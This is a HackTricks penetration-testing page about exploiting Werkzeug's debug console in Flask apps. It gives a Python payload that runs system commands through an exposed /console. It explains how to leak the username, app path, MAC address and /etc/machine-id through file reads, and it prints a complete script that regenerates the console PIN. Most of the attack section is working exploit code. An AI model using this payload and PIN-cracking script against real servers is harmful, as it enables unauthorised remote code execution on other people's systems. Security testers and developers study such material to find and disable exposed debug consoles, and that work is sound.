🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
# Console RCE If debug is active you could try to access to `/console` and gain RCE. ```python __import__('os').popen('whoami').read(); ``` ![](<../../.gitbook/assets/image (317).png>) There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit. # Pin Protected In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin: * [https://www.daehee.com/werkzeug-console-pin-exploit/](https://www.daehee.com/werkzeug-console-pin-exploit/) * [https://ctftime.org/writeup/17955](https://ctftime.org/writeup/17955) ## Werkzeug Console PIN Exploit **Copied from the first link.**\ See Werkzeug “console locked” message by forcing debug error page in the app. ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` Locate vulnerable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number. You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\__init\_\_.py), but better to leak source code through file traversal vulnerability since versions likely differ. In this file, see relevant method outlining steps to generate console PIN: ```python def get_pin_and_cookie_name(app): pin = os.environ.get('WERKZEUG_DEBUG_PIN') rv = None num = None # Pin was explicitly disabled if pin == 'off': return None, None # Pin was provided explicitly if pin is not None and pin.replace('-', '').isdigit(): # If there are separators in the pin, return it directly if '-' in pin: rv = pin else: num = pin modname = getattr(app, '__module__', getattr(app.__class__, '__module__')) try: # `getpass.getuser()` imports the `pwd` module, # which does not exist in the Google App Engine sandbox. username = getpass.getuser() except ImportError: username = None mod = sys.modules.get(modname) # This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, '__name__', getattr(app.__class__, '__name__')), getattr(mod, '__file__', None), ] # This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [ str(uuid.getnode()), get_machine_id(), ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, text_type): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num return rv, cookie_name ``` Variables needed to exploit the console PIN: ```python probably_public_bits = [ username, modname, getattr(app, '__name__', getattr(app.__class__, '__name__')), getattr(mod, '__file__', None), ] private_bits = [ str(uuid.getnode()), get_machine_id(), ] ``` * `username` is the user who started this Flask * `modname` is flask.app * `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask * `getattr(mod, '__file__', None)` is the absolute path of `app.py` in the flask directory (e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` doesn't work, try `app.pyc` * `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address * `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` and return directly if there is, sometimes it might be required to append a piece of information within `/proc/self/cgroup` that you find at the end of the first line (after the third slash) To find server MAC address, need to know which network interface is being used to serve the app (e.g. `ens3`). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net//address`. Convert from hex address to decimal representation by running in python e.g.: ```python >>> print(0x5600027a23ac) 94558041547692 ``` Once all variables prepared, run exploit script to generate Werkzeug console PIN: ```python import hashlib from itertools import chain probably_public_bits = [ 'web3_user',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') #h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) ``` If you are on a new version of Werkzeug, try changing the hashing algorithm to sha1 instead of md5.
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.